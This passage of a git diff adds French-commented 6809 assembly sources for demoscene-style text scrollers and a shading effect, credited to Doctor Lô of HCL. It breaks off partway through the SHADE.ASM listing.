+       STB    $E7E6
+       CLR    $E7DD
+       CLR    $E7DC
+       LDA    #255
+       LDX    #COLORS
+       JSR    $EC00
+       SWI
+
+COLORS FDB    0,15,240,255,3840,3855
+       FDB    4080,4095,1911,826,931
+       FDB    938,2611,2618,3815,123
+       FDB    0,$FFF,$EEE,$DDD,$CCC,$BBB
+       FDB    $AAA,$999,$888,$777,$666
+       FDB    $555,$444,$333,$222,$111
+TEXTE  FCB    1,2,3,4,5,6,7,8,9,0
+
+       END
diff --git a/code/3rdparty/sources2-hcl/SCROLL++.ASM b/code/3rdparty/sources2-hcl/SCROLL++.ASM
new file mode 100644
index 0000000..386c931
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/SCROLL++.ASM
@@ -0,0 +1,123 @@
+****************************************
+*    Scrolling segment par segment.    *
+*      D'une taille conséquente.       *
+*                                      *
+*   Je pourrais gagner un peu de temps *
+*  CPU en faisant du code généré, mais *
+*  quoi ! On n'est pas des bêtes...    *
+****************************************
+
+SIZE   EQU    HAUT*LONG/4
+FONTE  EQU    $0000-SIZE*2
+RAMA   EQU    $DF18-HAUT*40
+HAUT   EQU    112     multiple de 8 !
+LONG   EQU    5       segments par CHR$
+DIR    EQU    $9F     } début buffer
+Z      EQU    0       } à accès direct
+CARTOU EQU    15      page $0000-$3FFF
+ZZ     EQU    DIR*256+Z
+
+       ORG    DIR*256+Z
+       FDB    1,TEXTE,FONTE
+
+       ORG    $9800
+G      ORCC   #80
+       LDD    $E7E5
+       PSHS   D,DP
+       LDA    #DIR
+       TFR    A,DP
+       STS    RDP+2
+       CLR    $E7E5
+       CLR    $E7C5
+
+SYNCRO TST    $E7E7
+       BPL    *-3
+       TST    $E7E7
+       BMI    *-3
+
+       LDD    #8
+       STA    $E7DB   pour voir le temps
+       STB    $E7DA    CPU qu'il reste.
+       STA    $E7DA
+
+       LDX    #RAMA+160
+       LDU    <Z+4
+       LDA    #HAUT/8
+       STA    <Z
+COPYA  PULU   D
+       STA    -120,X
+       STB    -80,X
+       PULU   D
+       STA    -40,X
+       STB    ,X
+       PULU   D
+       STA    40,X
+       STB    80,X
+       PULU   D
+       STA    120,X
+       STB    160,X
+       LEAX   280,X
+       DEC    <Z
+       BNE    COPYA
+       PULU   D
+       STU    <Z+4
+
+       TFR    DP,A
+       STA    <Z+6
+       LDA    #HAUT/2
+       STA    ZZ
+       LDU    #RAMA+1
+       LDS    #RAMA+8
+SCROLA PULU   CC,A,B,DP,X,Y
+       PSHS   Y,X,DP,B,A,CC
+       LEAS   16,S
+       FDB    $373F,$343F,$32E8,$1037
+       FDB    $3F34,$3F32,$E810
+       FDB    $373F,$343F,$32E8,$1037
+       FDB    $3F34,$3F32,$E810
+       FDB    $373F,$343F,$32E8,$1037
+       FDB    $3F34,$3F32,$E810
+       FDB    $373F,$343F,$32E8,$1037
+       FDB    $3F34,$3F32,$E810
+       FDB    $373F,$343F,$32E8
+       FCB    16
+       DEC    ZZ
+       BNE    SCROLA
+       CLR    RAMA+HAUT*40
+
+       LDA    ZZ+6
+       TFR    A,DP
+
+       LDD    #0
+       STA    $E7DB   pour voir le temps
+       STB    $E7DA    CPU qu'il reste.
+       STA    $E7DA
+
+       TST    $E7C8
+       BNE    RDP
+       DEC    <Z+1
+       LBNE   SYNCRO
+
+       LDA    #LONG
+       STA    <Z+1
+       LDX    <Z+2    lettre suivante
+       LDA    ,X+
+       BNE    *+7
+       LDX    #TEXTE
+       LDA    ,X+
+       LDU    #FONTE
+       LDB    #SIZE
+       ASLA
+       MUL
+       LEAU   D,U
+       STU    <Z+4
+       STX    <Z+2
+       JMP    SYNCRO
+
+RDP    LDS    #0
+       PULS   D,DP
+       STD    $E7E5
+       SWI
+TEXTE  FCB    1,2,3,4,5,6,7,8,9,0
+
+       END
diff --git a/code/3rdparty/sources2-hcl/SCROLL.ASM b/code/3rdparty/sources2-hcl/SCROLL.ASM
new file mode 100644
index 0000000..4fc42a2
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/SCROLL.ASM
@@ -0,0 +1,119 @@
+****************************************
+*      E A S Y   S C R O L L E R       *
+* (c) Doctor Lô of HCL for Micro-News  *
+****************************************
+
+TEXTE  EQU    $DF30   Le début du texte
+SCREEN EQU    $5E00   Position à l'écran
+VARPGE EQU    $DF     Page des variables
+FONT76 EQU    $F4     Les 8 lignes de la
+FONT54 EQU    $F6      lettre courante
+FONT32 EQU    $F8     (lue à l'envers->
+FONT10 EQU    $FA     ligne 7 à ligne 0)
+NBPASS EQU    $FC     compteur passages
+SPEED  EQU    $FD     vitesse (de 1 à 8)
+COLUMN EQU    $FE     compteur colonnes
+
+
+       ORG    $DF30
+G      PSHS   U,Y,X,DP,B,A,CC Sauve regs
+       ORCC   #80     Interruptions OFF
+       LDA    $E7C3   Partie "points" de
+       ORA    #1       la mémoire écran
+       STA    $E7C3    sélectionnée
+       LDB    #VARPGE Pour accès direct
+       TFR    B,DP     aux "variables"
+       LDY    #TEXTE  A faire défiler
+
+SYNCRO LDA    $E7E7    Boucle tant que
+       BPL    *-3     spot dans le bord
+       LDA    $E7E7    Boucle tant que
+       BMI    *-3     spot dans l'écran
+
+       LDB    <SPEED   Vitesse du scroll
+       STB    <NBPASS ->nombre de passes
+SCROLL LDX    #SCREEN+20  Position écran
+       LDU    #VARPGE*256+FONT10+2  CHR$
+       LDA    #8      Hauteur du scroll
+DOLINE ASL    ,-U     Décalage ds buffer
+       ROL    19,X    Décalage à l'écran
+       ROL    18,X    des 40 octets qui
+       ROL    17,X    forment une ligne.
+       ROL    16,X     Il est beaucoup
+       ROL    15,X    plus rapide de
+       ROL    14,X    faire comme ici 40
+       ROL    13,X    décalages indexés
+       ROL    12,X    par rapport au
+       ROL    11,X    centre de la ligne
+       ROL    10,X    courante, que de
+       ROL    9,X     faire une boucle
+       ROL    8,X     avec un compteur
+       ROL    7,X     décrémenté 40 fois
+       ROL    6,X     qui répéterait
+       ROL    5,X     une instruction de
+       ROL    4,X     décalage avec pré-
+       ROL    3,X     décrémentation du
+       ROL    2,X     registre d'index :
+       ROL    1,X       { LDB    #40
+       ROL    ,X          ROL    ,-X
+       ROL    -1,X        DECB
+       ROL    -2,X        BNE    *-3 }
+       ROL    -3,X    =562 microsecondes
+       ROL    -4,X    tandis que la
+       ROL    -5,X    méthode ci-contre
+       ROL    -6,X    n'utilise que
+       ROL    -7,X    279 microsecondes!
+       ROL    -8,X
+       ROL    -9,X    Evidemment,le code
+       ROL    -10,X   s'en trouve bien
+       ROL    -11,X   rallongé, mais ne
+       ROL    -12,X   sacrifierait-on
+       ROL    -13,X   pas volontiers
+       ROL    -14,X   quelques octets
+       ROL    -15,X   à une routine
+       ROL    -16,X   permettant une
+       ROL    -17,X   animation 2 fois
+       ROL    -18,X   plus rapide ?!
+       ROL    -19,X    - Oh YES!, Doc' !
+       ROL    -20,X
+       LEAX   40,X    Descend d'1 ligne
+       DECA           8 lignes décalées?
+       BNE    DOLINE  Non: on continue !
+
+
+       DEC    <COLUMN 8 colonnes passées
+       BNE    EOPASS  Non: fin de passe
+       LDA    #8      Ré-initialise le
+       STA    <COLUMN compteur à 8 cols.
+NXTCHR LDB    ,-Y      Lettre suivante
+       BPL    CHAROK  >0: lettre normale
+       COMB           <0: code=255-code
+       BNE    NEWSPD  >0: pas "The_End"
+       LDY    #TEXTE  Recommence au tout
+       BRA    NXTCHR   début du texte...
+
+NEWSPD STB    <SPEED  -> considère comme
+       BRA    NXTCHR  nouvelle vitesse !
+
+CHAROK MUL            Offset=(ASC-32)*8
+       LDU    >$60CF  Début des fontes
+       LEAU   D,U      + offset du CHR$
+       PULU   D,X     Copie du graphisme
+       STD    <FONT76  de notre lettre
+       STX    <FONT54  dans le buffer,
+       PULU   D,X     où il sera décalé
+       STD    <FONT32 huit fois vers la
+       STX    <FONT10 gauche.
+
+
+EOPASS DEC    <NBPASS Vitesse atteinte ?
+       LBNE   SCROLL  Non: autre passage
+       LDA    $E7C8   touche frappée ?
+       LBEQ   SYNCRO  Non: continue...
+       PULS   CC,A,B,DP,X,Y,U,PC   *FIN*
+
+       ORG    VARPGE*256+FONT76
+       FDB    0,0,0,0 lettre courante
+       FCB    0,6,1,0 *,vitesse,colonnes
+
+       END
diff --git a/code/3rdparty/sources2-hcl/SCROLLER.ASM b/code/3rdparty/sources2-hcl/SCROLLER.ASM
new file mode 100644
index 0000000..6c33a3b
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/SCROLLER.ASM
@@ -0,0 +1,602 @@
+****************************************
+*                                      *
+*  MEGASCROLLER BY DOCTOR LO FROM HCL  *
+*                                      *
+****************************************
+* Taille 42*6
+
+PALETS EQU    TEXTE-224
+TEXTE  EQU    $7800
+TAMP   EQU    $9E60
+FONTES EQU    $9F08
+RAMA   EQU    $DF18-42*40
+RAMB   EQU    RAMA-$2000
+DIR    EQU    $9E
+Z      EQU    $58
+ZZ     EQU    DIR*256+Z
+
+
+       ORG    $9800
+G      ORCC   #80
+       LDA    #$E7
+       EXG    A,DP
+       STA    RDP+1
+       STS    RDP-2
+
+       LDU    #ZZ
+       CLR    ,U+
+       LDD    #TEXTE
+       STD    ,U++
+       LDA    #6
+       STA    ,U
+       LDX    #TAMP
+       CLR    ,X+
+       CMPX   #$A000
+       BNE    *-5
+       LDY    #COLORS-14
+       LDU    #PALETS
+       LDX    #15
+       LDA    #16
+       STA    ZZ
+       LDD    ,Y++
+       BEQ    *+13
+       STX    ,U++
+       DEC    ZZ
+       BEQ    *-14
+       LEAX   D,X
+       BRA    *-9
+
+       LDA    #$21
+       STA    <$DC
+       LDA    #2
+       STA    <$E5
+       LDD    #0
+       LDX    #$A000
+       STD    ,X++
+       CMPX   #$E000
+       BNE    *-5
+       INC    <$E5
+       STD    ,--X
+       CMPX   #$A000
+       BNE    *-5
+       LDA    #128
+       STA    <$DD
+       LDB    #2
+       LDA    #32
+       BITA   $E7E7
+       BEQ    *-3
+       BITA   $E7E7
+       BNE    *-3
+       TST    [D,X]
+       TST    [D,X]
+       TST    [D,X]
+       TST    [D,X]
+       ABX
+       BITA   $E7E7
+       BEQ    *-12
+       TST    <$E7
+       BPL    *-2
+       TST    <$E7
+       BMI    *-2
+
+       LDX    #311*64/16
+       TST    ,U+
+       LEAX   -1,X
+       BNE    *-4
+
+       MUL
+       MUL
+       MUL
+       LDA    #DIR
+       TFR    A,DP
+       TST    ,U++
+
+DEBUT  LDX    #RAMA+160
+       LDU    #TAMP
+       LDA    #6
+       STA    <Z
+COPYA  PULU   D
+       STA    -120,X
+       STB    -80,X
+       PULU   D
+       STA    -40,X
+       STB    ,X
+       PULU   D
+       STA    40,X
+       STB    80,X
+       PULU   A
+       STA    120,X
+       LEAX   280,X
+       DEC    <Z
+       BNE    COPYA
+
+       LDA    #42
+       STA    <Z
+       LDU    #RAMA+1
+SCROLA PULU   D,X,Y,S
+       LEAU   -1,U
+       PSHU   S,Y,X,D
+       LEAU   9,U
+       FDB    $3776,$335F,$3676,$3349
+       FDB    $3776,$335F,$3676,$3349
+       FDB    $3776,$335F,$3676,$3349
+       FDB    $3776,$335F,$3676,$3349
+       DEC    <Z
+       BNE    SCROLA
+       CLR    RAMA+42*40
+
+       LDX    #RAMB+160
+       LDU    #TAMP+42
+       LDA    #6
+       STA    <Z
+COPYB  PULU   D
+       STA    -120,X
+       STB    -80,X
+       PULU   D
+       STA    -40,X
+       STB    ,X
+       PULU   D
+       STA    40,X
+       STB    80,X
+       PULU   A
+       STA    120,X
+       LEAX   280,X
+       DEC    <Z
+       BNE    COPYB
+
+       LDA    #42
+       STA    <Z
+       LDU    #RAMB+1
+SCROLB PULU   D,X,Y,S
+       LEAU   -1,U
+       PSHU   S,Y,X,D
+       LEAU   9,U
+       FDB    $3776,$335F,$3676,$3349
+       FDB    $3776,$335F,$3676,$3349
+       FDB    $3776,$335F,$3676,$3349
+       FDB    $3776,$335F,$3676,$3349
+       DEC    <Z
+       BNE    SCROLB
+       CLR    RAMB+42*40
+
+BANK   LDA    #4
+       STA    $E7E5
+       LDU    #FONTES
+       LDX    <Z+1
+       LDA    <Z+3
+       CMPA   #6
+       BEQ    *+6
+       TST    D,X
+       BRA    *+7
+       LEAX   0,X     *  1,X
+       CLRA
+       TST    <Z+3    * CLR
+       LDB    #84
+       MUL
+       LEAU   D,U
+       TST    <Z+3    * INC
+       LDA    ,X
+       BRA    *+9     * BPL
+       LDY    #XCEPT-2
+       NEGA
+       JMP    [A,Y]
+       LDB    #30
+COGIT2 DECB           * label COGITO
+       BNE    *-1
+       LDX    <Z+1    * STX
+       LDB    #252
+       MUL
+       LEAS   D,U
+       LDU    #TAMP+84
+       FCC    /5>6>5>6>/
+       JMP    TEMPO
+       LDB    #40
+       DECB
+       BNE    *-1
+BCKTEM LDX    #PALETS
+       LDD    #$24E7
+       STA    ZZ
+       TFR    B,DP
+
+FBUF   LDD    ,X++
+       STD    *+8
+       LDB    #6
+       STB    <$DB
+       LDD    #0
+       STB    <$DA
+       STA    <$DA
+RPF6   CMPX   #PALETS+72
+       BEQ    *+4
+       BRA    *+5
+RPD6   LDX    #PALETS
+       MUL
+       NOP
+       DEC    ZZ
+       BNE    FBUF
+       LDA    <$C8
+       BEQ    *+5
+       JMP    RDP-4
+       FCC    /5>6>5>6>5>6>5>6>5>6>/
+       FCC    /5>6>5>6>5>6>5>6>5>6>/
+       NOP
+       NOP
+       LDD    #$300+DIR *  #$200+DIR
+       STA    $E7E5
+       TFR    B,DP
+REVIT  JMP    *+3     *  DEBUT
+       LDA    #192
+       STA    $E7DD
+       LDX    #RAMA+160
+       LDU    #TAMP+84
+       LDA    #6
+       STA    <Z
+COPYA2 PULU   D
+       STA    -120,X
+       STB    -80,X
+       PULU   D
+       STA    -40,X
+       STB    ,X
+       PULU   D
+       STA    40,X
+       STB    80,X
+       PULU   A
+       STA    120,X
+       LEAX   280,X
+       DEC    <Z
+       BNE    COPYA2
+
+       LDA    #42
+       STA    <Z
+       LDU    #RAMA+1
+SCRLA2 PULU   D,X,Y,S
+       LEAU   -1,U
+       PSHU   S,Y,X,D
+       LEAU   9,U
+       FDB    $3776,$335F,$3676,$3349
+       FDB    $3776,$335F,$3676,$3349
+       FDB    $3776,$335F,$3676,$3349
+       FDB    $3776,$335F,$3676,$3349
+       DEC    <Z
+       BNE    SCRLA2
+       CLR    RAMA+42*40
+
+       LDX    #RAMB+160
+       LDU    #TAMP+126
+       LDA    #6
+       STA    <Z
+COPYB2 PULU   D
+       STA    -120,X
+       STB    -80,X
+       PULU   D
+       STA    -40,X
+       STB    ,X
+       PULU   D
+       STA    40,X
+       STB    80,X
+       PULU   A
+       STA    120,X
+       LEAX   280,X
+       DEC    <Z
+       BNE    COPYB2
+
+       LDA    #42
+       STA    <Z
+       LDU    #RAMB+1
+SCRLB2 PULU   D,X,Y,S
+       LEAU   -1,U
+       PSHU   S,Y,X,D
+       LEAU   9,U
+       FDB    $3776,$335F,$3676,$3349
+       FDB    $3776,$335F,$3676,$3349
+       FDB    $3776,$335F,$3676,$3349
+       FDB    $3776,$335F,$3676,$3349
+       DEC    <Z
+       BNE    SCRLB2
+       CLR    RAMB+42*40
+
+BANK2  LDA    #5
+       STA    $E7E5
+       LDU    #FONTES
+       LDX    <Z+1
+       LDA    <Z+3
+       CMPA   #6
+       BEQ    *+6
+       TST    D,X
+       BRA    *+7
+       LEAX   1,X
+       CLRA
+       CLR    <Z+3
+       LDB    #84
+       MUL
+       LEAU   D,U
+       INC    <Z+3
+       LDA    ,X
+       BPL    *+9
+       LDY    #XCEPT-2
+       NEGA
+       JMP    [A,Y]
+       LDB    #30
+COGITO DECB
+       BNE    *-1
+       STX    <Z+1
+       LDB    #252
+       MUL
+       LEAS   D,U
+       LDU    #TAMP+168
+       FCC    /5>6>5>6>/
+       LDD    #40
+       DECB
+       BNE    *-1
+BCKTM2 LDX    #PALETS
+       LDD    #$24E7
+       STA    ZZ
+       TFR    B,DP
+
+FBUF2  LDD    ,X++
+       STD    *+8
+       LDB    #6
+       STB    <$DB
+       LDD    #0
+       STB    <$DA
+       STA    <$DA
+RPF5   CMPX   #PALETS+72
+       BEQ    *+4
+       BRA    *+5
+RPD5   LDX    #PALETS
+       MUL
+       NOP
+       DEC    ZZ
+       BNE    FBUF2
+       FCC    /5>6>5>6>5>6>5>6>5>6>/
+       FCC    /5>6>5>6>5>6>5>6>5>6>/
+       LDA    #128
+       STA    $E7DD
+       NOP
+       NOP
+       LDD    #$200+DIR
+       STA    $E7E5
+       TFR    B,DP
+       JMP    DEBUT
+
+TEMPO  JMP    BCKTEM-5
+ROT    LDX    BCKTEM+1
+       LEAX   2,X
+       CMPX   RPF1+1
+       BEQ    *+4
+       BRA    *+5
+RPD4   LDX    #PALETS
+       STX    BCKTEM+1
+       LEAX   2,X
+       CMPX   RPF1+1
+       BEQ    *+4
+       BRA    *+5
+RPD3   LDX    #PALETS
+       STX    BCKTM2+1
+       LDD    #29
+       JMP    BCKTEM-3
+
+ONROT  LDD    #ROT
+       STD    BCKTEM-7
+       LEAX   1,X
+       LDA    ,X
+       LDB    #22
+       LBRA   RENVOI
+OFROT  LDD    #TEMPO
+       STD    BCKTEM-7
+       LDD    BCKTM2+1
+       STD    BCKTEM+1
+       LEAX   1,X
+       LDD    ,X
+       NOP
+       LDB    #19
+       LBRA   RENVOI
+WAIT   LDY    1,X
+       STX    <Z+1
+       LDX    BCKTEM+1
+       STX    W2-19
+W1     LDD    BCKTEM-7
+       LDX    W2-19
+       CMPD   #ROT
+       BEQ    *+5
+       NOP
+       BRA    *+4
+       LEAX   1,X
+RPF2   CMPX   #PALETS+72
+       BEQ    *+4
+       BRA    *+5
+RPD2   LDX    #PALETS
+       STX    W2-19
+       LDB    #0
+       LDB    #66
+       DECB
+       BNE    *-1
+       LDX    #PALETS
+       TFR    X,D
+       ANDB   #254
+       TFR    D,X
+       LDD    #$24E7
+       STA    ZZ
+       TFR    B,DP
+       STX    BCKTEM+1
+W2     LDD    ,X++
+       STD    *+8
+       LDB    #6
+       STB    <$DB
+       LDD    #0
+       STB    <$DA
+       STA    <$DA
+RPF1   CMPX   #PALETS+72
+       BEQ    *+4
+       BRA    *+5
+RPD1   LDX    #PALETS
+       MUL
+       NOP
+       DEC    ZZ
+       BNE    W2
+       TST    <$C8
+       BEQ    *+5
+       JMP    RDP-4
+       LDX    #2152
+       LEAX   -1,X
+       BNE    *-2
+       TST    ,X+
+       TST    ,X+
+       LEAY   -1,Y
+       BNE    W1
+       LDD    #DIR
+       TFR    B,DP
+       LDX    W2-19
+       LDD    BCKTEM-7
+       CMPD   #ROT
+       BEQ    *+5
+       NOP
+       BRA    *+4
+       LEAX   2,X
+       STX    BCKTM2+1
+       LDX    <Z+1
+       LEAX   3,X
+       LDA    ,X
+       LDB    #10
+       LBRA   RENVOI
+FIN    LDX    #TEXTE
+       LDD    ,X
+       LDB    #24
+       LBRA   RENVOI
+BANK4  LEAX   1,X
+       LDD    #$405
+       STA    BANK+1
+       STB    BANK2+1
+       LDD    ,X
+       LDB    #21
+       LBRA   RENVOI
+BANK6  LEAX   1,X
+       LDD    #$607
+       STA    BANK+1
+       STB    BANK2+1
+       LDD    ,X
+       LDB    #21
+       LBRA   RENVOI
+TEINTS LDD    1,X
+       LEAX   3,X
+       STX    RPD1+1
+       STX    RPD2+1
+       STX    RPD3+1
+       STX    RPD4+1
+       STX    RPD5+1
+       STX    RPD6+1
+       STX    BCKTM2+1
+       STX    BCKTEM+1
+       LEAX   D,X
+       STX    RPF1+1
+       STX    RPF2+1
+       STX    RPF5+1
+       STX    RPF6+1
+       BRA    *+2
+       LDA    ,X
+       LDB    #6
+       LBRA   RENVOI
+SPEED8 LEAX   1,X
+       LDD    #DEBUT
+       STD    REVIT+1
+       LDD    #$29F
+       STA    REVIT-7
+       STB    COGIT2+3
+       LDD    #COGIT2
+       STD    RENVOI+1
+       LDD    #$10F
+       STA    BANK+21
+       STB    BANK+23
+       LDD    #$C2A
+       STA    BANK+30
+       STB    BANK+34
+       LDD    #$2000
+       STD    RPD1+24
+       LDA    #$84
+       STA    RPD1+27
+       LDD    #$6D83
+       STD    RPD2+6
+       LDA    #2
+       STA    RPF2-1
+       LDA    ,X
+       LDB    #7
+       JMP    COGITO
+SPEED4 LEAX   1,X
+       LDD    #REVIT+3
+       STD    REVIT+1
+       LDD    #$39E
+       STA    REVIT-7
+       STB    COGIT2+3
+       LDD    #COGITO
+       STD    RENVOI+1
+       LDD    #13
+       STA    BANK+21
+       STB    BANK+23
+       LDD    #$D20
+       STA    BANK+30
+       STB    BANK+34
+       LDD    #$6D80
+       STD    RPD1+24
+       STD    RPD1+26
+       LDD    #$C600
+       STD    RPD2+6
+       LDA    #1
+       STA    RPF2-1
+       INC    $E7E5
+       LDD    ,X
+       LDB    #7
+       JMP    COGITO
+RELIEF LDA    #2
+       STA    $E7DB
+       LDD    1,X
+       STB    $E7DA
+       STA    $E7DA
+       LDD    3,X
+       STB    $E7DA
+       STA    $E7DA
+       LEAX   5,X
+       LDA    ,X
+       LDB    #16
+       LBRA   RENVOI
+SPEPAL LDD    1,X
+       STD    RPD1+1
+       STD    RPD2+1
+       STD    RPD3+1
+       STD    RPD4+1
+       STD    RPD5+1
+       STD    RPD6+1
+       STD    BCKTM2+1
+       STD    BCKTEM+1
+       LDD    3,X
+       STD    RPF1+1
+       STD    RPF2+1
+       STD    RPF5+1
+       STD    RPF6+1
+       LEAX   5,X
+       LDA    ,X
+       LDB    #7
+       LBRA   RENVOI
+
+XCEPT  FDB    FIN,ONROT,OFROT,WAIT
+       FDB    BANK4,BANK6,TEINTS
+       FDB    SPEED8,SPEED4,RELIEF
+       FDB    SPEPAL
+
+RENVOI JMP    COGITO
+
+       LDS    #0
+RDP    LDA    #0
+       TFR    A,DP
+       CLR    $E7DD
+       CLR    $E7DC
+       LDA    #255
+       LDX    #COLORS
+       JSR    $EC00
+       RTS
+
+       FDB    $0010,$FFFF,$0100,$FFF0
+       FDB    $0001,$0010,$FEF0
+COLORS FDB    0,15,240,255,3840,3855
+       FDB    4080,4095,1911,826,931
+       FDB    938,2611,2618,3815,123
+
+       END
diff --git a/code/3rdparty/sources2-hcl/SCROVER.ASM b/code/3rdparty/sources2-hcl/SCROVER.ASM
new file mode 100644
index 0000000..fba8340
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/SCROVER.ASM
@@ -0,0 +1,193 @@
+****************************************
+*            OVERSCROLLER              *
+****************************************
+
+
+FONTS  EQU    $8800   dessin des lettres
+TEXTE  EQU    $8000   délire méga-Lô...
+ZZ     EQU    $9F00      variables
+COMPTS EQU    $9F02    compteurs (visu)
+HAUT   EQU    256     taille totale (Y)
+BLKHIG EQU    16      hauteur d'un bloc
+TAILLE SET    HAUT/BLKHIG
+
+       ORG    TEXTE
+       FCB    8,5,12,12,15,0,23,15,18,12
+       FCB    4,0,0,-1
+
+       ORG    $9000
+G      ORCC   #80
+       PSHS   DP
+       LDA    #$E7
+       TFR    A,DP
+       LDD    #$3E4   page 3 en rouge
+       STA    <$E5
+       LDX    #$A000
+       STB    ,X+
+       CMPX   #$BF40
+       BNE    *-5
+
+* constitution de la routine d'affichage
+
+       LDU    #COMPTS
+       LDY    #VISU+3
+       LDX    #TAILLE
+MKPRG  LDD    #$97DD
+       STD    ,Y++
+       STD    ,Y++
+       STD    ,Y++
+       STD    ,Y++
+       STD    ,Y++
+       STD    ,Y++
+       STD    ,Y++
+       STD    ,Y++
+       STD    ,Y++
+       STD    ,Y++
+       STD    ,Y++
+       STD    ,Y++
+       STD    ,Y++
+       LDD    #$127A
+       STD    ,Y++
+       STU    ,Y++
+       LDD    #$26E0
+       STD    ,Y++
+       LDA    #BLKHIG
+       STA    ,U+
+       LEAX   -1,X
+       BNE    MKPRG
+       LDD    #$0FDD
+       STD    ,Y++
+       LDA    #$39
+       STA    ,Y+
+
+       LDD    #$40A
+       STD    ZZ
+       LDU    #FONTS  caractère courant
+       LDY    #TEXTE  où dans le scroll
+       JSR    SYNCRO
+GOON   JSR    VISU
+       LDD    #TAILLE*256+BLKHIG
+       LDX    #COMPTS
+       STB    ,X+
+       DECA
+       BNE    *-3
+
+       DEC    ZZ
+       BEQ    NEXLIG
+       LDX    #$1A4   même écran, décalé
+       LEAX   -1,X
+       BNE    *-2
+       ABX
+       BRA    GOON
+
+NEXLIG LDA    #4
+       STA    ZZ
+
+       LDB    #TAILLE
+       LDX    #VISU+15
+SCROL  LDA    -10,X
+       STA    -12,X
+       LDA    -8,X
+       STA    -10,X
+       LDA    -6,X
+       STA    -8,X
+       LDA    -4,X
+       STA    -6,X
+       LDA    -2,X
+       STA    -4,X
+       LDA    ,X
+       STA    -2,X
+       LDA    2,X
+       STA    ,X
+       LDA    4,X
+       STA    2,X
+       LDA    6,X
+       STA    4,X
+       LDA    8,X
+       STA    6,X
+       LDA    10,X
+       STA    8,X
+       LDA    12,X
+       STA    10,X
+BITST  LDA    #128
+       BITA   ,U+     forme du caractère
+       BNE    *+6
+       LDA    #$97    bloc vide
+       BRA    *+6
+       LDA    #$D7    bloc plein
+       BRA    *+2
+       STA    12,X
+       LEAX   32,X
+       DECB
+       BNE    SCROL
+       LEAU   -TAILLE,U
+       LSR    BITST+1
+       DEC    ZZ+1    encore x bits
+       BEQ    NEXLET
+       LDX    #6
+       LEAX   -1,X
+       BNE    *-2
+       NOP
+       BRA    JOIN
+
+NEXLET LDD    #$A80
+       STA    ZZ+1
+       STB    BITST+1
+       LDA    ,Y+     caractère suivant
+       BLT    FINTXT
+       TST    A,X
+       BRA    *+8
+FINTXT LDY    #TEXTE
+       LDA    ,Y+
+       LDB    #TAILLE
+       MUL
+       LDU    #FONTS
+       LEAU   D,U
+
+JOIN   LDX    #$6E
+       LEAX   -1,X
+       BNE    *-2
+       NOP
+       NOP
+       TST    <$C8
+       LBEQ   GOON
+
+       PULS   DP
+       SWI
+
+SYNCRO LDA    #32
+       BITA   <$E7
+       BEQ    *-2
+       BITA   <$E7
+       BNE    *-2
+       PSHS   A
+       MUL
+       MUL
+       MUL
+       MUL
+       PULS   A
+       BITA   <$E7
+       BEQ    *-10
+       MUL
+       MUL
+       MUL
+       MUL
+       MUL
+       TST    <$E7
+       BPL    *-7
+       MUL
+       MUL
+       MUL
+       MUL
+       MUL
+       TST    <$E7
+       BMI    *-7
+       LDX    #$2B7
+       LEAX   -1,X
+       BNE    *-2
+       NOP
+       RTS
+
+VISU   LDD    #$00C4
+
+       END
diff --git a/code/3rdparty/sources2-hcl/SHADE.ASM b/code/3rdparty/sources2-hcl/SHADE.ASM
new file mode 100644
index 0000000..4f58408
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/SHADE.ASM
@@ -0,0 +1,204 @@
+****************************************
+*            S H A D E R               *
+****************************************
+
+HAUT   EQU    160     hauteur à traiter
+SIZE   EQU    1       taille de la bande
+DIR    EQU    $9A
+SEGMNT EQU    0        abcisse @ 8
+BITTST EQU    SEGMNT+1 bit à tester
+PIXOFF EQU    BITTST+1 masque effaceur
+BANDE1 EQU    PIXOFF+1 nb pixels changés
+BANDE2 EQU    BANDE1+1
+LIGNE  EQU    BANDE2+1
+
+       ORG    $9800
+G      PSHS   U,X,DP,B,A,CC
+       ORCC   #80
+       LDA    #DIR
+       TFR    A,DP
+       CLR    $E7E5
+
+       LDX    #$A000
+       LDU    #$C000+40*(HAUT-1)
+       LDA    #40
+       STA    <SEGMNT
+       LDA    #128
+
+FORX   STA    <BITTST
+       COMA
+       STA    <PIXOFF
+       LDA    #HAUT
+
+FORY1  LDB    ,X
+       BITB   <BITTST
+       BNE    LIGHT1
+       LDB    $2000,X
+       BITB   <BITTST
+       BNE    LIGHT1
+
+*** On rencontre un pixel éteint
+
+       CLR    <BANDE1
+       BRA    NEXTY1
+
+*** On rencontre un pixel allumé
+
+LIGHT1 LDB    <BANDE1 la bande n'est pas
+       CMPB   #SIZE   encore totalement
+       BLO    COUL1      dessinéee
+
+       TFR    A,B     le numéro de ligne
+       ANDB   #31      n'indique pas un
+       BNE    NEXTY1   début de lettre
+       CLR    <BANDE1
+
+COUL1  LDB    ,X
+       ANDB   <PIXOFF  change de couleur
+       STB    ,X
+       LDB    $2000,X
+       ORB    <BITTST
+       STB    $2000,X
+       INC    <BANDE1
+
+NEXTY1 LEAX   40,X
+       DECA
+       BNE    FORY1
+
+       LDA    #HAUT
+FORY2  LDB    ,U
+       BITB   <BITTST
+       BNE    DARK1
+       LDB    -$2000,U
+       BITB   <BITTST
+       BNE    DARK1
+       CLR    <BANDE2
+       BRA    NEXTY2
+DARK1  LDB    <BANDE2
+       CMPB   #SIZE
+       BLO    COUL2
+       TFR    A,B
+       ANDB   #31
+       BNE    NEXTY2
+       CLR    <BANDE2
+COUL2  LDB    ,U
+       ANDB   <PIXOFF
+       STB    ,U
+       LDB    -$2000,U
+       ORB    <BITTST
+       STB    -$2000,U
+       INC    <BANDE2
+NEXTY2 LEAU   -40,U
+       DECA
+       BNE    FORY2
+
+       LEAX   -HAUT*40,X
+       LEAU    HAUT*40,U
+       LDA    <BITTST
+       LSRA
+       LBNE   FORX
+       LDA    #128
+       LEAX   1,X
+       LEAU   1,U
+       DEC    <SEGMNT
+       LBNE   FORX
+
+LATRAL LDX    #$A000+(HAUT-1)*40
+       LDU    #$C027+(HAUT-1)*40
+       LDA    #HAUT
+       STA    <LIGNE
+
+FORY3  LDA    #40
+       STA    <SEGMNT
+       LDA    #1
+FORX2  STA    <BITTST
+       COMA
+       STA    <PIXOFF
+
+       LDB    ,U
+       BITB   <BITTST
+       BNE    DARK2
+       LDB    -$2000,U
+       BITB   <BITTST
+       BNE    DARK2
+
+       CLR    <BANDE2
+       BRA    NEXTX
+
+DARK2  LDB    <BANDE2
